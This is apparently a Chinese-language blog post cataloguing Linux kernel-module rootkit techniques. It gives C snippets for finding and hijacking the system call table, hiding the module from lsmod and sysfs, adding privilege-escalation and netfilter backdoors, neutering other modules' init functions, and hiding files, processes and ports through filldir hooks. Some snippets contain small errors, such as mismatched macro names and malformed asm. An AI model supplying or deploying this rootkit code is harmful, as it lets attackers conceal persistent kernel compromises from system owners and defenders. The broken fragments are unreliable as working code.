简介
搜集一下linux lkm rootkit中常用的一些技巧
1、劫持系统调用
遍历地址空间
根据系统调用中的一些导出函数,比如sys_close的地址来寻找
unsigned long ** get_sys_call_table(void) { unsigned long **entry = (unsigned long **)PAGE_OFFSET; for (;(unsigned long)entry < ULONG_MAX; entry += 1) { if (entry[__NR_close] == (unsigned long *)sys_close) { return entry; } } return NULL; }
这要求判断的地址是导出函数,这样才能获取到地址
根据IDT地址,找到中断处理函数,再从中根据特征码找到系统调用表
在i386的机器中,使用如下代码调用系统调用表
call *sys_call_table(,%eax,4)
这条指令的二进制代码是
0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
然后根据0xff 0x14 0x85这3个特征码去寻找表的地址
IDTR idtr; interrupt_descriptor *IDT, *sytem_gate; asm("sidt %0" : "=m" (idtr)); IDT = (interrupt_descriptor *) idtr.base_addr; system_gate = &IDT[0x80]; sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1); for (i = 0; i < 100; i++) { if (sys_call_asm[i] == (unsigned char) 0xff && sys_call_asm[i+1] == (unsigned char) 0x14 && sys_call_asm[i+2] == (unsigned char) 0x85) *guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3]; }
根据system.map来寻找
System.map位于/boot目录下,内核编译时生的符号表内容
直接在这个文件中寻找sys_call_table的地址
内核中kallsym寻找符号地址
内核中有查询符号表地址的函数,直接使用就可以了
//查询符号表的函数 static int khook_lookup_cb(long data[], const char *name, void *module, long addr) { int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { if (!name[i++]) return !!(data[1] = addr); } return 0; } /* 利用kallsyms_on_each_symbol可以查询符号表,只需要传入查询函数就可以了 data[0]表示要查询的地址 data[1]表示结果 */ static void *khook_lookup_name(const char *name) { long data[2] = { (long)name, 0 }; kallsyms_on_each_symbol((void *)khook_lookup_cb, data); return (void *)data[1]; }
内联钩子
替换掉内核代码的前一部分,实现劫持内核其他的函数逻辑
具体可以看这里:https://www.cnblogs.com/likaiming/p/10970543.html
系统派遣例程篡改
在整个系统调用的流程中,修改跳转到sys_call_table的地址的位置,然后跳转到自定义伪造系统调用表,这样也可以实现系统调用的劫持
模拟系统调用
写一段代码,用到sys_call_table,然后使用objdump查看地址
#include <stdio.h> void fun1() { printf("fun1/n"); } void fun2() { printf("fun2/n"); } unsigned int sys_call_table[2] = {fun1, fun2}; int main(int argc, char **argv) { asm("call *sys_call_table(%eax,4"); }
通过/dev/kmem访问内存来实现系统调用表的搜寻
这种方式统一和之前的内存地址搜寻一样,需要特征码,比如说0xff 0x14 0x85
kprobes
它的工作方式如下:
1. 用户指定一个探测点,并把一个用户定义的处理函数关联到该探测点 2. 在注册探测点的时候,对被探测函数的指令码进行替换,替换为int 3的指令码 3. 在执行int 3的异常执行中,通过通知链的方式调用kprobe的异常处理函数 4. 在kprobe的异常出来函数中,判断是否存在pre_handler钩子,存在则执行 5. 执行完后,准备进入单步调试,通过设置EFLAGS中的TF标志位,并且把异常返回的地址修改为保存的原指令码 6. 代码返回,执行原有指令,执行结束后触发单步异常 7. 在单步异常的处理中,清除单步标志,执行post_handler流程,并最终返回
LSM hook技术
修改LSM的钩子函数,也就是全局表security_ops的函数指针
2、隐藏模块
删除全局模块链表
lsmod命令是通过/proc/modules来获取当前系统模块信息的,而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,都会被加入到这个链表的头部,通过modules->next即可引用到。为了让我们的模块在lsmod命令中的输出里消失掉,我们需要在这个链表内删除我们的模块
从sysfs中隐藏模块
除了lsmod命令和相对应的查看/proc/modules以外,我们还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块
这个问题也很好解决,在初始化函数中添加一行代码即可解决问题
kobject_del(&THIS_MODULE->mkobj.kobj);
从文件隐藏的角度来隐藏模块
前面说到,用户态读取模块信息是proc/modules和sys/modules,可以采用隐藏文件的方式来隐藏这两个文件的信息
3、后门
使用proc文件提高进程权限
新建一个proc文件(当然最后要隐藏),然后自定义file_operation中的写操作,用来提取权限
使用netfilter过滤进入系统的网络包,通过网络包中特殊字段来做到控制系统
4、防止其他模块加载
注册或者注销模块通知处理函数可以使用 register_module_notifier
或者unregister_module_notifier
编写一个通知处理函数,然后填充 struct notifier_block
结构体, 最后使用register_module_notifier
注册就可以了
int module_notifier(struct notifier_block *nb, unsigned long action, void *data); struct notifier_block nb = { .notifier_call = module_notifier, .priority = INT_MAX };
处理函数里面再更改权限
int fake_init(void); void fake_exit(void); int module_notifier(struct notifier_block *nb, unsigned long action, void *data) { struct module *module; unsigned long flags; // 定义锁。 DEFINE_SPINLOCK(module_notifier_spinlock); module = data; fm_alert("Processing the module: %s ", module->name); //保存中断状态加锁。 spin_lock_irqsave(&module_notifier_spinlock, flags); switch (module->state) { case MODULE_STATE_COMING: fm_alert("Replacing init and exit functions: %s. ", module->name); // 偷天换日:篡改模块的初始函数与退出函数。 module->init = fake_init; module->exit = fake_exit; break; default: break; } // 恢复中断状态解锁。 spin_unlock_irqrestore(&module_notifier_spinlock, flags); return NOTIFY_DONE; } int fake_init(void) { fm_alert("%s ", "Fake init."); return 0; } void fake_exit(void) { fm_alert("%s ", "Fake exit."); return; }
5、隐藏文件
到文件隐藏,我们不妨先看看文件遍历的实现,在linux内核中,fs
eaddir.c中,有3个用来遍历文件的系统调用,old_readdir,getdents和getdents64,看其中两个,也就是系统调用getdents
/ getdents64
,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c
),我们可以看到如下调用层次, sys_getdents
->iterate_dir
-> struct file_operations
里的 iterate
->这儿省略若干层次 -> struct dir_context
里的 actor
,也就是filldir
filldir
负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里。如果我们钩掉filldir
,并在我们的钩子函数里对某些特定的记录予以直接丢弃,不填到缓冲区里,上层函数与应用程序就收不到那个记录,也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。
具体说来,我们的隐藏逻辑如下: 篡改根目录(也就是“/”)的 iterate
为我们的假 iterate
, 在假函数里把 struct dir_context
里的 actor
替换成我们的 假 filldir
,假 filldir
会把需要隐藏的文件过滤掉。
int fake_iterate(struct file *filp, struct dir_context *ctx) { // 备份真的 ``filldir``,以备后面之需。 real_filldir = ctx->actor; // 把 ``struct dir_context`` 里的 ``actor``, // 也就是真的 ``filldir`` // 替换成我们的假 ``filldir`` *(filldir_t *)&ctx->actor = fake_filldir; return real_iterate(filp, ctx); } int fake_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type) { if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) { // 如果是需要隐藏的文件,直接返回,不填到缓冲区里。 fm_alert("Hiding: %s", name); return 0; } /* pr_cont("%s ", name); */ // 如果不是需要隐藏的文件, // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。 return real_filldir(ctx, name, namlen, offset, ino, d_type); }
通用宏
# define set_f_op(op, path, new, old) do { struct file *filp; struct file_operations *f_op; fm_alert("Opening the path: %s. ", path); filp = filp_open(path, O_RDONLY, 0); if (IS_ERR(filp)) { fm_alert("Failed to open %s with error %ld. ", path, PTR_ERR(filp)); old = NULL; } else { fm_alert("Succeeded in opening: %s ", path); f_op = (struct file_operations *)filp->f_op; old = f_op->op; fm_alert("Changing iterate from %p to %p. ", old, new); disable_write_protection(); f_op->op = new; enable_write_protection(); } } while(0)
比如这么调用下面的代码
void *dummy; set_file_op(iterate, "/", real_iterate, dummy);
6、隐藏进程
Linux 上纯用户态枚举并获取进程信息,/proc 是唯一的去处。所以,对用户态隐藏进程,我们可以隐藏掉/proc 下面的目录,这样用户态能枚举出来进程就在我们的控制下了。读者现在应该些许体会到为什么文件隐藏是重点内容了。
int fake_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type) { char *endp; long pid; // 把字符串变成长整数。 pid = simple_strtol(name, &endp, 10); if (pid == SECRET_PROC) { // 是我们需要隐藏的进程,直接返回。 fm_alert("Hiding pid: %ld", pid); return 0; } /* pr_cont("%s ", name); */ // 不是需要隐藏的进程,交给真的 ``filldir`` 填到缓冲区里。 return real_filldir(ctx, name, namlen, offset, ino, d_type);
7、隐藏端口
向用户态隐藏端口, 其实就是在用户进程读/proc下面的相关文件获取端口信息时, 把需要隐藏的的端口的内容过滤掉,使得用户进程读到的内容里面没有我们想隐藏的端口。 具体说来,看下面的表格。 网络类型 /proc 文件 内核源码文件 主要实现函数 TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show